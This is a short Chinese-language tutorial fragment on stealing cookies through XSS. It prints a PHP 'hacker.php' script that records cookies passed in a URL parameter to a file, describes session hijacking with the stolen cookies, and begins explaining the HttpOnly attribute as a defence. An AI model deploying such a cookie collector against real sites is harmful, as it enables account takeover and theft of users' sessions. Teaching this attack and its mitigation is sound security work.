测试环境：hacker端 and victim端1，hacker端（hacker.php）的程序内容如下：<?php$cookie=$_GET['cookie'];$file=fopen("cookie.txt","a");fwrite($file,$cookie);fclose($file)?>2，受害者端（victim.php）的程序
攻击者利用XSS漏洞获取cookie或者session劫持，如果这里面包含了大量敏感信息（身份信息，管理员信息）等，攻击这里用获取的COOKIE登陆账号，并进行非法操作。COOKIE设置httponly属性可以化解XSS漏洞攻击带来的窃取cookie的危害。PHP中COOKIE设置方法：<?php setcookie("xsstest", "xsstest", time
